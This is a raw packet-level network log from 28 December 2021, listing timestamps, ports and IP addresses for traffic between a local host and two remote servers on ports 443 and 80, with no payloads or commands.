Dec 28, 2021 05:19:03.327193975 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.327208042 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.327297926 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.327305079 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.327321053 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.327378988 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.342227936 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.342344046 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.342391968 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.342479944 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.342495918 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.342515945 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.342565060 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.342602015 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.342675924 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.342693090 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.342711926 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.342751980 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.342771053 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.342840910 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.342854023 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.342959881 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.343030930 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.343039989 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.343061924 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.343107939 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.343126059 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.343142033 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.343208075 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.343216896 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.343235970 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.343278885 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.343291998 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.343307018 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.343384981 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.358861923 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.358964920 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.358983994 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.359004974 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.359024048 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.359044075 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.359114885 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.359119892 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.359136105 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.359200954 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.359206915 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.359293938 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.359314919 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.359391928 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.359654903 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.359735012 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.359738111 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.359760046 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.359801054 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.359814882 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.359837055 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.359908104 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.359915018 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.359934092 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.359978914 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.359994888 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.360004902 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.360024929 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.360069036 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.360121965 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.360182047 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.360194921 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.360218048 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.360281944 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.360294104 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.360312939 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.360357046 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.360373974 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.360383987 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.360403061 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.360449076 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.360471010 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.360533953 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.360546112 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.360570908 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.360639095 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.360646009 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.360666990 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.360712051 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.360726118 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.360735893 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.360755920 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.360810995 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.360830069 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.360912085 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.360925913 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.360970020 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.361027002 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.361043930 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.361094952 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.375803947 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.375901937 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.375905991 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.375930071 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.375976086 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.376002073 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.376069069 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.376084089 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.376105070 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.376152039 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.376173973 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.376245975 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.376257896 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.376276016 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.376322031 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.376359940 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.376422882 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.376434088 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.376452923 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.376499891 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.377398968 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.377471924 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.377509117 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.377532005 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.377588987 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.377619982 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.377970934 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.378016949 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.378078938 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.378096104 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.378118038 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.378144026 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.378230095 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.378236055 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.378297091 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.378315926 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.378364086 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.378587961 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.378628969 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.378689051 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.378705025 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.378752947 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.378778934 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.378971100 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.379008055 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.379105091 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.379122019 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.379246950 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.379365921 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.379405022 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.379463911 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.379477024 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.379488945 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.379761934 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.379798889 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.379852057 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.379865885 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.379883051 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.380225897 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.380261898 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.380316019 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.380330086 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.380345106 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.380628109 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.380664110 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.380744934 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.380759954 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.380839109 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.381072044 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.381109953 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.381162882 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.381182909 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.381196022 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.381434917 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.381472111 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.381515980 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.381531000 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.381547928 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.381686926 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.381830931 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.381869078 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.381922007 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.381936073 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.381953001 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.382203102 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.382240057 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.382287979 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.382302999 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.382325888 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.382577896 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.382615089 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.382664919 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.382678032 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.382699966 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.382931948 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.393105030 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.393146992 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.393234968 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.393253088 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.393315077 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.393335104 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.393352985 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.393362045 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.393424988 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.393456936 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.393493891 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.393523932 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.393582106 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.393596888 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.393621922 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.393733978 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.393762112 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.393821955 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.393836975 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.393892050 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.393923044 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.394123077 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.394157887 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.394236088 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.394251108 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.394268036 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.394397020 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.394429922 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.394489050 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.394506931 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.394526958 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.394530058 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.395726919 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.395765066 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.395782948 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.395797014 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.395817041 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.395828009 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.435111046 CET	49799	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.502166986 CET	80	49799	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.503194094 CET	49799	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.504267931 CET	49799	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.611167908 CET	80	49799	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.621061087 CET	80	49799	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.621201992 CET	49799	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.624155045 CET	49799	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.645190001 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.690891981 CET	80	49799	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.708966970 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.712060928 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.713118076 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.808496952 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.808551073 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.808592081 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.808614016 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.808634043 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.808662891 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.808680058 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.808681011 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.808691025 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.808721066 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.808758020 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.808796883 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.808796883 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.808820009 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.808836937 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.808850050 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.808887959 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.808902025 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.808949947 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.872704983 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.872773886 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.872833014 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.872853041 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.872878075 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.872889042 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.872915983 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.872957945 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.872992992 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.873009920 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.873038054 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.873059988 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.873076916 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.873111963 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.873131990 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.873157978 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.873200893 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.873204947 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.873253107 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.873260975 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.873295069 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.873320103 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.873325109 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.873363018 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.873403072 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.873419046 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.873451948 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.873457909 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.873497963 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.873537064 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.873553991 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.873585939 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.873586893 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.873630047 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.873668909 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.873684883 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.873723030 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.937472105 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.937534094 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.937576056 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.937583923 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.937599897 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.937618017 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.937635899 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.937658072 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.937690973 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.937697887 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.937716961 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.937737942 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.937750101 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.937777042 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.937789917 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.937815905 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.937828064 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.937855959 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.937864065 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.937895060 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.937906981 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.937935114 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.937942982 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.937974930 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.937980890 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.938014030 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938060999 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938062906 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.938100100 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938138962 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938152075 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.938177109 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938184977 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.938215017 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938256025 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938267946 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.938296080 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938307047 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.938335896 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938375950 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938386917 CET	49800	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.938414097 CET	80	49800	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.938451052 CET	80	49800	5.188.89.48	192.168.2.3
